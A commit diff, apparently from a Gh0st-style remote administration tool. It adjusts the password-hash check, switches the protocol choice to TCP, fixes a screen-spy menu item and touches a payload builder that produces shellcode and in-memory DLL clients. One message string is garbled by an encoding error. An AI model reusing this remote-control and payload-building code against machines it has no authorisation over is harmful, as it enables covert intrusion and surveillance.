Release v1.1.4
This commit is contained in:
@@ -109,6 +109,7 @@ BOOL CMy2015RemoteApp::InitInstance()
|
||||
{
|
||||
CloseHandle(m_Mutex);
|
||||
m_Mutex = NULL;
|
||||
MessageBoxA(NULL, "һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
Binary file not shown.
@@ -763,7 +763,8 @@ Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true, const std::string &addr="")
|
||||
if (g_2015RemoteDlg->m_superID % 313 == 0)
|
||||
{
|
||||
server->iHeaderEnc = PROTOCOL_HELL;
|
||||
server->protoType = PROTO_RANDOM;
|
||||
// TODO: UDP 协议不稳定
|
||||
server->protoType = PROTO_TCP;
|
||||
}
|
||||
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
|
||||
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
|
||||
@@ -866,9 +867,10 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
CDialogEx::OnInitDialog();
|
||||
|
||||
if (!IsPwdHashValid()) {
|
||||
MessageBox("此程序为非法的应用程序,无法正常运行!", "错误", MB_ICONERROR);
|
||||
OnMainExit();
|
||||
return FALSE;
|
||||
THIS_CFG.SetStr("settings", "superAdmin", "");
|
||||
THIS_CFG.SetStr("settings", "Password", "");
|
||||
THIS_CFG.SetInt("settings", "MaxConnection", 2);
|
||||
THIS_APP->UpdateMaxConnection(2);
|
||||
}
|
||||
if (GetPwdHash() == GetMasterHash()) {
|
||||
auto pass = THIS_CFG.GetStr("settings", "superAdmin");
|
||||
|
||||
@@ -13,7 +13,8 @@
|
||||
IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx)
|
||||
|
||||
// 主控程序唯一标识
|
||||
char g_MasterID[_MAX_PATH] = { PWD_HASH256 };
|
||||
// 密码的哈希值
|
||||
char g_MasterID[_MAX_PATH] = { "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43" };
|
||||
|
||||
std::string GetPwdHash(){
|
||||
static auto id = std::string(g_MasterID).substr(0, 64);
|
||||
|
||||
@@ -5,11 +5,9 @@
|
||||
#include "Resource.h"
|
||||
#include "common/commands.h"
|
||||
|
||||
// 密码的哈希值
|
||||
// 提示:请用hashSHA256函数获得密码的哈希值,你应该用自己的密码生成哈希值,并替换这个默认值.
|
||||
#define PWD_HASH256 "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
|
||||
|
||||
// CPasswordDlg 对话框
|
||||
|
||||
// 获取密码哈希值
|
||||
std::string GetPwdHash();
|
||||
|
||||
const Validation* GetValidation(int offset=100);
|
||||
|
||||
@@ -178,6 +178,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
||||
ICONINFO CursorInfo;
|
||||
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
|
||||
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
|
||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
||||
|
||||
GetClientRect(&m_CRect);
|
||||
@@ -515,7 +516,7 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
case IDM_ADAPTIVE_SIZE: {
|
||||
m_bAdaptiveSize = !m_bAdaptiveSize;
|
||||
ShowScrollBar(SB_BOTH, !m_bAdaptiveSize);
|
||||
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize);
|
||||
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user